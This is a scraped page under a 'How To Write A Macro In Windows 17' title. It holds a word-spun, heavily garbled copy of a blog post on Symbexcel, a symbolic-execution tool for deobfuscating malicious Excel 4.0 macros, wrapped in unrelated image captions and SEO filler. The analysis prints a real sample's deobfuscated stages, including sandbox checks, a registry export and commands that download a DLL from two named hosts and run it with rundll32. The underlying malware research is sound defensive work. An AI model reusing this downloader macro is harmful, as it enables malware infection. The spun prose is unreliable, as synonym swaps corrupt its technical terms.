How To Write A Macro In Windows 17

Office macros are a accepted advance agent to accommodation a user’s ambiance and arrange added components. That’s because macros can adumbrate aural documents, generally beneath several layers of obfuscation. In contempo years, there has been an admission in attacks that advantage Excel 4.0 macros as blackmail actors accept accomplished the adeptness that this bequest functionality provides to an attacker.

How to create keyboard macros in Windows 17 - OnMSFT.com
How to create keyboard macros in Windows 17 – OnMSFT.com | How To Write A Macro In Windows 10

Analyzing Excel 4.0 macros can be a alarming task, because the assay generally requires manual, step-by-step beheading of the blank to abstract behaviors and IoCs such as the URLs from which added malware apparatus will be downloaded.

In this blog, we present Symbexcel, a atypical band-aid based on allegorical beheading for the automatic de-obfuscation and assay of Excel 4.0 macros. Our admission was afresh presented at BlackHat 2021 [1].

What Are Excel 4.0 Macros?

Excel 4.0 macros, or XLM macros, are a 30-year-old affection of Microsoft Excel that allows one to encode a alternation of operations into the capacity of spreadsheet cells. Distinct from the acceptable functions provided by an Excel spreadsheet (such as SUM), Excel 4.0 macro functions accept admission to the Windows API and can be acclimated to collaborate with the basal operating arrangement – that is, they can assassinate alien commands or adjure the PowerShell.

These macros, which accept abundantly been fabricated anachronistic by VBA macros, abide on an Excel 4.0-enabled macro sheet. A macro beheading starts from a specific corpuscle (identified by the Auto_Open label). Already the action in that corpuscle is executed, the ascendancy breeze moves to the corpuscle beneath it, and so on. The accepted ascendancy breeze can be adapted with functions such as GOTO, which allows one to jump to a altered cell.

The agreeable of beef can be adapted application the FORMULA and FORMULA.FILL functions. These functions abutment activating blank generation, in which the action to be performed is aboriginal accounting to a corpuscle and afresh the ascendancy breeze is directed to that cell, authoritative changeless assay of blank acutely challenging.

Evasion and Obfuscation

The adaptability of Excel 4.0 macros supports both obfuscation and artifice techniques.

In a alternation of antecedent posts [2] [3], we accept declared how these techniques advance over time to antithesis assay attempts and abstain detection. For example, the adeptness to concern the operating ambiance through the GET.WORKSPACE action allows a macro to avenue beheading if a abrasion is not affiliated (as may be the case in an bogus assay environment, such as an emulator). In addition, by application functions like CHAR to construe integers to letters, it’s accessible to accumulate strings from abstracted pieces, address them to cells, and afresh assassinate them, authoritative changeless cord abstraction challenging. Addition address we empiric is the use of time advice (e.g., the accepted date) as a key for decrypting genitalia of the code. In this case, unless the macro is accomplished on the actual date, the generated blank is gibberish, and the awful behavior is not exposed.For example, the adeptness to concern the operating ambiance through the GET.WORKSPACE action allows a macro to avenue beheading if a abrasion is not affiliated (as may be the case in an bogus assay environment, such as an emulator). In addition, by application functions like CHAR to construe integers to letters, it’s accessible to accumulate strings from abstracted pieces, address them to cells, and afresh assassinate them, authoritative changeless cord abstraction challenging. Addition address we empiric is the use of time advice (e.g., the accepted date) as a key for decrypting genitalia of the code. In this case, unless the macro is accomplished on the actual date, the generated blank is gibberish, and the awful behavior is not exposed.

To bypass these artifice and obfuscation techniques, an analyst needs to absolutely accept what the ecology requirements are and what abuttals altitude for the actual beheading of the macro charge be satisfied. Otherwise, it becomes difficult, if not impossible, to assassinate the macro in an assay ambiance and abstract the IoCs associated with its execution.

Unfortunately, compassionate which ethics charge to be alternate by functions such as GET.WORKSPACE is not consistently straightforward, because these ethics can be acclimated in codicillary statements that may advance to a alternation of circuitous de-obfuscation steps.

The Adeptness of Allegorical Execution

The charge for the automatic processing of ambiguous and bleared Excel 4.0 macros led us to attack to use a acclaimed assay address that is accepted in affairs analysis, alleged allegorical execution.

In allegorical execution, the inputs to a program, which are usually concrete, such as “5” or “hello world!”, are larboard unspecified, and a attribute is kept in their place. If this allegorical value, say X, is acclimated in a computation, the aftereffect of that ciphering will be addition allegorical value, say Y, which is authentic on the base of X (e.g., Y = X 1).

Keeping clue of these allegorical ethics is almost aboveboard until they are acclimated in a codicillary statement, such as an IF function, as in IF(Y<10, branch1, branch2). Since the amount of the capricious is unknown, in best cases it is absurd to adjudge which annex will be taken by the computation. Therefore, the accompaniment of the ciphering is duplicated: one ciphering will advance afterward the accurate annex (of advance canonizing the associated constraint, which in our case is Y<10), while the added will advance afterward the apocryphal annex (with the associated coercion of Y>=10).

By accomplishing this, we can chase all accessible computations (with a admonition due to the achievability of an exponential access in the cardinal of states and paths), until a assertive point in the affairs is reached. At that point, one can booty all the constraints calm and breach them to acquisition a accurate affairs ascribe (e.g., X=2) that would advance the beheading of the affairs to the defined location.

Symbexcel

We activated the adeptness of allegorical beheading to Excel 4.0 macros and we developed a tool, alleged Symbexcel, that supports the automatic assay of these macros.

By application allegorical ethics back a macro retrieves advice from the surrounding ambiance (e.g., the awning size, or the time of day) it’s accessible to clue how that advice is acclimated throughout the beheading of the macro until a point of absorption is reached. At that point, by application a solver, it’s accessible to actuate acceptable accurate ethics for the allegorical values, accepting the de-obfuscated code.

The architectonics of the Symbexcel apparatus has three capital components, as apparent in Amount 1.

The Loader basic takes an Excel 4.0 macro, parses it, and endless it in the Simulation Manager, initializing the anamnesis and the beheading environment.

Then, the Simulation Administrator starts active the macro, creating a new beheading accompaniment (with the associated constraints) whenever a codicillary that uses a allegorical amount is encountered.

When one of the accepted states is advised for execution, the blueprint in the accepted corpuscle is parsed and accomplished application a blueprint handler. Back the ambit of the blueprint are not symbolic, the blueprint is artlessly executed. However, whenever one or added of the ambit are symbolic, the aftereffect of the beheading may be allegorical as well.

This beheading action continues until the action independent in a corpuscle is a allegorical amount itself. Back this happens, the simulation administrator needs to accomplish the allegorical amount concrete, so that the consistent action can be executed.

For example, if the capacity of a corpuscle are =Y(A4:A10), area Y is a allegorical value, what action will the Simulation Administrator execute?

At this point, the Solver Backend, the third basic of Symbexcel’s architecture, comes into play. By relying on the Z3 SMT solver, the Solver Backend is able to acquire a accurate cord that represents the best acceptable function.

Note that we said “most likely” because in abounding cases a allegorical announcement has abounding accessible concretizations. Consider for archetype the simple coercion X<42. In this case, X could booty absolute ethics that amuse the constraint. Similarly, back concretizing a formula, one ability acquire strings that are not accurate functions. Therefore, the Solver Backend leverages the Excel 4.0 macro grammar as an oracle, to acquisition a accurate band-aid that is additionally a accurate function.

Once the action is found, the blank is automatically de-obfuscated, and the beheading can continue.

Symbexcel in Action

To accord an archetype of how Symbexcel can automatically de-obfuscate Excel 4.0 macros, let’s attending at a accurate sample, namely an Excel book with the assortment 7f606056d6fcb2de7eb72c8eeef9746428bd24bf. This book contains a worksheet alleged Sheet1 and an Excel 4.0 macro area alleged boxing.

The congenital name Auto_Open credibility to the corpuscle boxing!A50, and accordingly beheading will alpha from the capacity of that cell. The sample is structured as a multi-stage payload: an antecedent de-obfuscation accepted decrypts the aboriginal stage, and afresh a added accepted is acclimated to de-obfuscate the second, third, and fourth stages.

De-obfuscation Accepted 1

The antecedent de-obfuscation accepted is composed of two nested loops. We renamed best of the variables and added some comments to accomplish the blank added readable. The alien bend loops through all the bleared instructions:

[boxing!$A$49] 0.0

[boxing!$A$50] =SET.NAME(“insn_index”,A49)

[boxing!$A$52] =WHILE(AND(insn_index<32.0))

[boxing!$A$53] =SET.NAME(“char_index”,-2.0)

[boxing!$A$54] =COUNTBLANK($G$11:$I$53)

[boxing!$A$57] =SET.NAME(“insn_index”,insn_index 1.0)

[boxing!$A$60] =COUNT($H$26:$J$72)

[boxing!$A$61] =SET.NAME(“deobfuscated_insn”,””)

[boxing!$A$64] =COUNTBLANK($G$11:$H$49)

<inner loop>

[boxing!$A$77] =FORMULA(deobfuscated_insn,OFFSET($A$79,insn_index-1.0,0.0))

[boxing!$A$78] =NEXT()

The aboriginal date burden is accounting (by the FORMULA apprenticeship at boxing!$A$77) one apprenticeship at a time – afterwards every close bend – to the beef from A79:A110 (32 absolute instructions). Note: Instructions A54, A60, and A64 assume to be extraneous for the execution.

The close bend goes through all the characters (or sub-strings) in the apprenticeship and concatenates them into the capricious deobfuscated_insn:

[boxing!$A$65] =WHILE(char_index<116.0)

[boxing!$A$67] =SET.NAME(“char_index”,char_index 2.0)

# apprehend the abutting character

[boxing!$A$71] =T(OFFSET($C$50,char_index,insn_index))

[boxing!$A$72] =COUNT($C$12:$F$53) # not relevant?

How to create keyboard macros in Windows 17 - OnMSFT.com
How to create keyboard macros in Windows 17 – OnMSFT.com | How To Write A Macro In Windows 10

# adjoin the new appearance or breach if it’s the abortion sequence

[boxing!$A$73] =IF($A$71=”mfQlphHzOI”,SET.NAME(“char_index”,116.0),SET.NAME(“deobfuscated_insn”,deobfuscated_insn&$A$71))

[boxing!$A$74] =MIN(362.0,-723.0) # not relevant?

[boxing!$A$75] =NEXT()

Every apprenticeship has a best breadth of 59 characters (char_index-2 to 116 at increments of 2). The characters are apprehend from the ambit D50:AI166 (vertically). The abortion cord for every appearance arrangement is mfQlphHzOI.

The Aboriginal Stage

The de-obfuscated aboriginal date burden is:

[boxing!$A$79] =CALL(“Xlcall32″,”Excel4″,”2JRJRR#”,4,,2,100,200)

[boxing!$A$80] =ON.TIME(NOW() “00:00:01″, “R104C1”)

[boxing!$A$104] routine2=R82C1

# routine2 pre-initialization

[boxing!$A$105] start_row=50

[boxing!$A$106] start_col=1

[boxing!$A$107] key=R50C3:R59C3

[boxing!$A$108] num_insns=17

[boxing!$A$109] payload_destination=R111C1

[boxing!$A$110] =routine2()

<deobfuscation accepted 2>

Deobfuscation Accepted 2

The added de-obfuscation accepted is actual altered from the aboriginal one. The burden is not artlessly concatenated. Every encrypted appearance is apprehend from the worksheet Sheet1 and decrypted application a Vigenère blank and a decryption key, which is stored in a anamnesis range, i.e., C50:C59 for the added stage.

There is an initialization sequence:

[boxing!$A$82] key_index=0

[boxing!$A$83] insn_index=0

[boxing!$A$84] key_length=ROWS(key)

There is an alien loop:

[boxing!$A$85] =WHILE(insn_index<num_insns)

[boxing!$A$86] char_index=-1

[boxing!$A$87] insn_index=insn_index 1

[boxing!$A$88] deobfuscated_insn=””

<inner loop>

# afterwards every close loop, address the deobfuscated apprenticeship to an account affected from payload_destination

[boxing!$A$101] =FORMULA(deobfuscated_insn,ABSREF(“R[“&(insn_index-1)&”]C[0]”,payload_destination))

[boxing!$A$102] =NEXT()

[boxing!$A$103] =RETURN()

And actuality is the close loop:

[boxing!$A$89] =WHILE(char_index<500)

[boxing!$A$90] char_index=char_index 1

# apprehend the encrypted appearance from the worksheet Sheet1

[boxing!$A$91] =INDIRECT(ADDRESS(char_index start_row,insn_index start_col,,,”Sheet1″))

# breach if it is the abortion character

[boxing!$A$92] =IF(R91C1>1000)

[boxing!$A$93] char_index=500

# abroad apprehend the agnate key amount (and accession key_index)

[boxing!$A$94] =ELSE()

[boxing!$A$95] i=MOD(key_index,key_length) 1

[boxing!$A$96] key_value=INDEX(key,i)

[boxing!$A$97] key_index=key_index 1

# about-face and concatenate the encrypted appearance application the key amount (Vigenere)

[boxing!$A$98] deobfuscated_insn=deobfuscated_insn&CHAR(R91C1-key_value)

[boxing!$A$99] =END.IF()

[boxing!$A$100] =NEXT()

Second Stage

How to create keyboard macros in Windows 17 - OnMSFT.com
How to create keyboard macros in Windows 17 – OnMSFT.com | How To Write A Macro In Windows 10

Once de-obfuscated, the added date burden is executed:

# address the 1st appearance of the final key

[boxing!$A$111] =FORMULA(INT(ALERT(“The workbook cannot be opened or repaired by Microsoft Excel because it’s corrupt.”)) -2,R60C3)

This is the aboriginal footfall in which we aftermath a allegorical value, because the ALERT action ability acknowledgment a accurate or apocryphal amount depending on the actuality that the macro is accomplished in the able beheading environment. As a result, the amount accounting by the FORMULA action in corpuscle $C$60 (which is R60C3, or Row 60 Column 3) will be symbolic.

The calligraphy continues with the afterward instructions:

[boxing!$A$112] =ERROR(TRUE,R114C1)

# address the 2nd appearance of the final key

[boxing!$A$113] =FORMULA(INT(FILE.DELETE(GET.DOCUMENT(2)&””&GET.WINDOW(31)&”:Zone.Identifier”)) 480,R61C3)

Once again, the amount accounting by the FORMULA action in corpuscle $C$61 is symbolic. The beheading continues with the afterward instructions:

[boxing!$A$114] =IF(ISERROR(R113C1),CLOSE(FALSE),)

# address the 3rd appearance of the final key

[boxing!$A$115] =FORMULA(INT(CALL(“Xlcall32″,”Excel4″,”2JRJRR#”,4,,2,-524,397)=-127) 241,R62C3)

# address the 4th appearance of the final key

[boxing!$A$116] =APP.MAXIMIZE()

[boxing!$A$117] =FORMULA(INT(AND(ISNUMBER(SEARCH(“Win”,GET.WORKSPACE(1))),GET.WORKSPACE(14)>390,GET.WORKSPACE(42),GET.WORKSPACE(19),GET.WORKSPACE(13)>800)) -40,R63C3)

Note that the GET.WORKSPACE calls aloft are acclimated to access the ambit for the beheading environment, and, therefore, allegorical ethics are alternate for all those invocations.

# address the 5th appearance of the final key

[boxing!$A$118] =NOW()

[boxing!$A$119] =WAIT(NOW() “00:00:01″)

[boxing!$A$120] =NOW()

[boxing!$A$121] =FORMULA(INT((R120C1-R118C1)*100000>1) -850,R64C3)

The aloft blank checks whether or not the timing is implemented accurately (i.e., a added has absolutely anesthetized back a one added adjournment was requested), and in this case the NOW action allotment allegorical values.

# routine2 pre-initialization

[boxing!$A$122] start_row=50

[boxing!$A$123] start_col=18

[boxing!$A$124] key=R60C3:R64C3

[boxing!$A$125] num_insns=24

[boxing!$A$126] payload_destination=R128C1

[boxing!$A$127] =routine2()

In sum, the added date is acclimated to account the aboriginal bristles characters of the final key – which is the key acclimated to de-obfuscate the fourth (and final) stage. These aboriginal bristles characters are additionally acclimated to de-obfuscate the third stage.

Third Stage

The de-obfuscation accepted acclimated for the third date is the aforementioned as that acclimated for the added stage, which we alleged routine2.

Once de-obfuscated, the accepted is the following:

[*boxing!$A$128] p=”C:UsersPublicDocuments”

# accessible and address accidental being to a book aloof to accomplish it added circuitous to account the 6th appearance of the final key

[*boxing!$A$129] =FOPEN(p&”iYUebH.txt”,3)

[*boxing!$A$130] =WHILE(FSIZE(R129C1)<5336)

Note that the three instructions above, apparent with a *, were allegorical in nature.

At this point, in adjustment to accept which action to execute, the solver needs to actualize the allegorical ethics application the constraints.

For example, the capacity of $A$130 are the following:

Concat(Unit(int2bv(ToInt(-788 – ToReal(If(observer_4, 1, 0) -850) 1/100000000))), Concat(“W”, Concat(Unit(int2bv(ToInt(553 – ToReal(If(file_delete_handler_1, 1, 0) 480) 1/100000000))), Concat(Unit(int2bv(ToInt(315 – ToReal(If(observer_1, 1, 0) 241) 1/100000000))), Concat(Unit(int2bv(ToInt(37 – ToReal(If(observer_and_1, 1, 0) -40) 1/100000000))), Concat(Unit(int2bv(ToInt(-780 – ToReal(If(observer_4, 1, 0) -850) 1/100000000))), Concat(“(“, Concat(Unit(int2bv(ToInt(551 – ToReal(If(file_delete_handler_1, 1, 0) 480) 1/100000000))), Concat(Unit(int2bv(ToInt(325 – ToReal(If(observer_1, 1, 0) 241) 1/100000000))), Concat(Unit(int2bv(ToInt(34 – ToReal(If(observer_and_1, 1, 0) -40) 1/100000000))), Concat(Unit(int2bv(ToInt(-759 – ToReal(If(observer_4, 1, 0) -850) 1/100000000))), Concat(“E”, Concat(Unit(int2bv(ToInt(521 – ToReal(If(…, …, …) 480) 1/100000000))), Concat(Unit(int2bv(ToInt(324 – ToReal(… …) 1/100000000))), Concat(Unit(int2bv(ToInt(10 – ToReal(…) 1/100000000))), Concat(Unit(int2bv(ToInt(… – … 1/100000000))), Concat(“9”, Concat(Unit(int2bv(ToInt(…))), Concat(Unit(int2bv(…)), Concat(Unit(…), Concat(…, …)))))))))))))))))))))

Symbexcel uses the Z3 SMT solver accumulated with meta-information about the Excel grammar to acquire the cord WHILE(FSIZE(R129C1)<5336) from the constraints that ascertain the allegorical value.

The beheading continues with the afterward instructions:

[boxing!$A$131] =FWRITE(R129C1,CHAR(RANDBETWEEN(33,125)))

[boxing!$A$132] =NEXT()

# address the 6th appearance of the final key

[*boxing!$A$133] =FORMULA(INT(FSIZE(R129C1)=5336) 540,R65C3)

[*boxing!$A$134] =FCLOSE(R129C1)

# address the annals key ExcelSecurity to C:UsersPublicDocumentsbZPf.txt

[*boxing!$A$135] =”EXPORT HKCUSoftwareMicrosoftOffice”&GET.WORKSPACE(2)&”ExcelSecurity “&p&”bZPf.txt /y”

[*boxing!$A$136] =CALL(“Shell32″,”ShellExecuteA”,”JJCCCJJ”,0,”open”,”C:Windowssystem32reg.exe”,R135C1,0,5)

[*boxing!$A$137] =WHILE(ISERROR(FILES(p&”bZPf.txt”)))

How to create macros on a Windows 117 or 17 computer -H17S Media
How to create macros on a Windows 117 or 17 computer -H17S Media | How To Write A Macro In Windows 10

# accessible the book and apprehend 255 bytes at account 215 into A142

[*boxing!$A$140] =FOPEN(p&”bZPf.txt”)

[*boxing!$A$141] =FPOS(R140C1,215)

[*boxing!$A$142] =FREAD(R140C1,255)

[*boxing!$A$143] =FCLOSE(R140C1)

[*boxing!$A$144] =FILE.DELETE(p&”bZPf.txt”)

# assay if macro aegis = “Enable All” (used to account the 7th appearance of the final key)

[*boxing!$A$145] =FORMULA(INT(ISNUMBER(SEARCH(“””VBAWarnings””=dword:00000001”,R142C1))) 774,R66C3)

# routine2 pre-initialization

[*boxing!$A$146] start_row=50

[*boxing!$A$147] start_col=42

[*boxing!$A$148] key=R60C3:R66C3

[*boxing!$A$149] num_insns=9

[*boxing!$A$150] payload_destination=R152C1

[*boxing!$A$151] =routine2()

Again, one can see that abounding of the instructions aloft were absolutely allegorical and were fabricated accurate application Symbexcel’s solver.

The third date calculates the 6th and 7th characters of the final key, and afresh dispatches the beheading to the de-obfuscation accepted routine2 to de-obfuscate the final stage.

The ethics of the final key are: [-1, 481, 242, -39, -849, 541, 774].

Fourth Stage

The decrypted fourth date shows the URLs acclimated to download the added apparatus of the malware.

[*boxing!$A$152] zzz=”https://derocktech.com/k.php”

[*boxing!$A$153] xxx=”https://solemnenterprise.com/k.php”

[*boxing!$A$154] =CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,zzz,p&”aby.txt”,0,0)

[*boxing!$A$155] =IF(R154C1<>0,,GOTO(R157C1))

[*boxing!$A$156] =CALL(“urlmon”,”URLDownloadToFileA”,”JJCCJJ”,0,xxx,p&”aby.txt”,0,0)

[*boxing!$A$157] a=”ShellExecuteA”

[*boxing!$A$158] b=”C:Windowssystem32rundll32.exe”

[*boxing!$A$159] =CALL(“Shell32″,a,”JJCCCJJ”,0,”open”,b,p&”aby.txt,DllRegisterServer “,0,5)

[*boxing!$A$160] =CLOSE(FALSE)

More precisely, the final date downloads a book from https://derocktech.com/k.php (or from https://solemnenterprise.com/k.php if the aboriginal endpoint fails) and saves it to C:UsersPublicDocumentsaby.txt. This book is a Windows DLL, which is loaded and registered application rundll32.exe.

The accomplished beheading graph, with the instructions that were allegorical in green, is apparent below.

Figure 2: Excel 4.0 macro beheading flow. The blooming nodes independent allegorical values. The red bulge is a bootless concretization that resulted in an alone path.

Note that the red bulge in the amount aloft is the aftereffect of a bootless concretization. This is because, as explained earlier, there may be assorted ethics that amuse a accurate set of constraints. However, already a set of ethics is chosen, Symbexcel uses meta-information about the grammar of Excel instructions to abolish concretizations that would advance to incorrect results.

The Symbexcel Advantage

The use of allegorical beheading brings a new apparatus to the action adjoin bleared macros that accomplish checks adjoin the ambiance in adjustment to balk analysis. This Excel 4.0 sample will de-obfuscate accurately alone if the host has the actual environment. A accessible set of actual ambiance ethics is:

call_handler_2 = -127 # alarm at boxing!$A$115 (spawn a new process) succeeds

call_handler_4 != 0 # alarm at boxing!$A$154 (download DLL) succeeds

workspace_1 = “Win” # operating system

workspace_13 = 801 # workspace width

workspace_14 = 391 # workspace height

workspace_19 = Accurate # abrasion present

workspace_42 = Accurate # complete enabled

(boxing!$A$120 – boxing!$A$118)*100000 > 1 # time aberration afterwards wait

file_delete_handler_1 = Accurate # Alternate Data Streams (ADS) are present

observer_isnumber_2 = Apocryphal # macro aegis != “Enable All”

While it would be acutely circuitous for an analyst to actuate which ethics would eventually advance to the accurately de-obfuscated code, Symbexcel is able to automatically aggregate and boldness the constraints to ability the final date of this circuitous de-obfuscation process.

Conclusions

Excel 4.0 macros are a continuously evolving blackmail that is arduous to de-obfuscate and assassinate accurately in adjustment to abstract behaviors and IoCs. In this post, we declared a atypical approach, alleged Symbexcel, that harnesses the adeptness of allegorical beheading to abutment the automatic assay of these macros. By active our apparatus on bags of Excel 4.0 macros and comparing the after-effects to absolute assay tools, we’ve apparent that Symbexcel can handle adult artifice and obfuscation techniques that accomplish absolute assay accoutrement fail.

Contributors

The assignment in this address was contributed by Giovanni Vigna and Nicola Ruaro.

Bibliography

How To Write A Macro In Windows 17 – How To Write A Macro In Windows 10
| Welcome in order to my weblog, in this period I’ll show you about How To Delete Instagram Account. And now, this is the initial photograph:

How to create macros on a Windows 117 or 17 computer -H17S Media
How to create macros on a Windows 117 or 17 computer -H17S Media | How To Write A Macro In Windows 10

Why not consider picture above? will be of which remarkable???. if you feel therefore, I’l m explain to you many graphic once more underneath:

So, if you would like acquire the outstanding pics related to (How To Write A Macro In Windows 17), just click save icon to download the shots to your personal pc. They’re ready for download, if you want and wish to own it, click save logo in the article, and it’ll be instantly downloaded to your home computer.} At last if you desire to grab new and the recent picture related to (How To Write A Macro In Windows 17), please follow us on google plus or bookmark the site, we try our best to offer you regular up-date with fresh and new shots. Hope you enjoy staying right here. For many upgrades and recent news about (How To Write A Macro In Windows 17) graphics, please kindly follow us on twitter, path, Instagram and google plus, or you mark this page on book mark area, We attempt to provide you with up-date periodically with fresh and new photos, love your surfing, and find the perfect for you.

Here you are at our website, contentabove (How To Write A Macro In Windows 17) published .  At this time we are delighted to announce we have discovered an awfullyinteresting contentto be reviewed, namely (How To Write A Macro In Windows 17) Some people trying to find information about(How To Write A Macro In Windows 17) and certainly one of them is you, is not it?

How to create keyboard macros in Windows 17 - OnMSFT.com
How to create keyboard macros in Windows 17 – OnMSFT.com | How To Write A Macro In Windows 10
How to create macros on a Windows 117 or 17 computer -H17S Media
How to create macros on a Windows 117 or 17 computer -H17S Media | How To Write A Macro In Windows 10
How to create keyboard macros in Windows 17 - OnMSFT.com
How to create keyboard macros in Windows 17 – OnMSFT.com | How To Write A Macro In Windows 10
How to Write a Simple Macro in Microsoft Excel (with Pictures)
How to Write a Simple Macro in Microsoft Excel (with Pictures) | How To Write A Macro In Windows 10
How to create macros on a Windows 117 or 17 computer -H17S Media
How to create macros on a Windows 117 or 17 computer -H17S Media | How To Write A Macro In Windows 10
How to create keyboard macros in Windows 17 - OnMSFT.com
How to create keyboard macros in Windows 17 – OnMSFT.com | How To Write A Macro In Windows 10
Autotext - Boilerplate Template Manager - Text Expander
Autotext – Boilerplate Template Manager – Text Expander | How To Write A Macro In Windows 10
Get Organized: How to Create a Macro in Microsoft Word
Get Organized: How to Create a Macro in Microsoft Word | How To Write A Macro In Windows 10
New feature in Office 17 can block macros and help prevent
New feature in Office 17 can block macros and help prevent | How To Write A Macro In Windows 10
How to create macros for Chrome, Firefox, and Internet Explorer
How to create macros for Chrome, Firefox, and Internet Explorer | How To Write A Macro In Windows 10
PowerShell - Run Macros, Copy Files, Do Cool Stuff with power
PowerShell – Run Macros, Copy Files, Do Cool Stuff with power | How To Write A Macro In Windows 10
Where is the Excel Personal Macro Workbook Located? – wheatblog
Where is the Excel Personal Macro Workbook Located? – wheatblog | How To Write A Macro In Windows 10